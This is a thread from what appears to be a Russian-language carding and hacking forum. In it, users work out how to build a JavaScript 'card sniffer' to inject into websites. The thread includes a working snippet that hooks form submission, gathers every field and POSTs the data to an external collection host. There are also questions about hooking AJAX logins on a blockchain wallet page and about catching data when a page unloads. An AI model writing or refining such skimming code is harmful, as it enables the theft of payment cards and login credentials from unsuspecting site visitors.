• XSS.stack #1 – первый литературный журнал от юзеров форума

JS сниффер картона

heybabyone

(L1) cache
Забанен
Регистрация
12.09.2020
Сообщения
872
Реакции
272
Пожалуйста, обратите внимание, что пользователь заблокирован
Нужно написать универсальный js снифер картона. Сам js помещается в самом низу <script></script>.
Есть две проблемы.
1. На сайте может сформироваться два тега iframe внутри которых форма картона. Нужно перечислить все iframe теги, и submit'ить форму для получения по input полям данные. Как лучше всего реализовать если на странице есть форма, есть несколько айфрейм, внутри которых еще формы?
2. Как снифать аякс запрос? $("form").submit(function(event){}); - не канает. у меня
 
1. document.getElementById("iframe").contentDocument.body, дальше вытаскиваешь нужные формы и берешь из них данные. вроде как не работает с iframe которые подгружаются со сторонних сайтов
2. добавить event listener для события submit на форму, с полей сниффать и отправлять потом данные, хотя смотря как форма отправляется
 
Пожалуйста, обратите внимание, что пользователь заблокирован
1. document.getElementById("iframe").contentDocument.body, дальше вытаскиваешь нужные формы и берешь из них данные. вроде как не работает с iframe которые подгружаются со сторонних сайтов
2. добавить event listener для события submit на форму, с полей сниффать и отправлять потом данные, хотя смотря как форма отправляется
1. Решил при помощи jquery нахождением iframe, а после нахождением form + submit(). Попутно проверяя есть ли данный тег.
2. Это как, можешь простой код привести? Я в жс новичек.
 
1. Решил при помощи jquery нахождением iframe, а после нахождением form + submit(). Попутно проверяя есть ли данный тег.
2. Это как, можешь простой код привести? Я в жс новичек.
JavaScript:
var myForm = document.getElementById("myform")
myForm.addEventListener("submit", (event) => {
    var data = new FormData(myForm) //get all data from form
    var dataToObject = {} //so we can send it in json instead of form data
    for (var [key, value]  of data.entries()){
        dataToObject[key] = value;
    }
    fetch("yourdatacollectingsite.com/api/saveData", {
     method: 'POST',
     headers: {
      'Content-Type': 'application/json'
    },
     body: JSON.stringify(dataToObject)
     }
    )
})
Здесь при очень типовом случае пример, на самом деле -- много подводных.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
JavaScript:
var myForm = document.getElementById("myform")
myForm.addEventListener("submit", (event) => {
    var data = new FormData(myForm) //get all data from form
    var dataToObject = {} //so we can send it in json instead of form data
    for (var [key, value]  of data.entries()){
        dataToObject[key] = value;
    }
    fetch("yourdatacollectingsite.com/api/saveData", {
     method: 'POST',
     headers: {
      'Content-Type': 'application/json'
    },
     body: JSON.stringify(dataToObject)
     }
    )
})
Здесь при очень типовом случае пример, на самом деле -- много подводных.
у меня не работает. Например страница входа блокчейна юзает аякс. Вышестоящий код нема. Есть еще примеры? Желательно на jquery
В гугле хз даже как искать. $("form").submit(function(event) {}); - мимо аякса
 
у меня не работает. Например страница входа блокчейна юзает аякс. Вышестоящий код нема. Есть еще примеры? Желательно на jquery
В гугле хз даже как искать. $("form").submit(function(event) {}); - мимо аякса
Первый рез по запросу "sniff ajax" ;)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Первый рез по запросу "sniff ajax" ;)
неа) не заработал. Впрочем решил задачу другим образом. Но все равно спасибо)
 
неа) не заработал. Впрочем решил задачу другим образом. Но все равно спасибо)
А каким, из чистого любопытства?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сори за глупые вопросы.
Но есть ли тригеры, которые дают знать, что мы идем дальше по ссылке, страница закрывается, вкладка закрывается и т.д?
Чтоб в конце подловить данные.
 
Пожалуйста, обратите внимание, что пользователь заблокирован


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх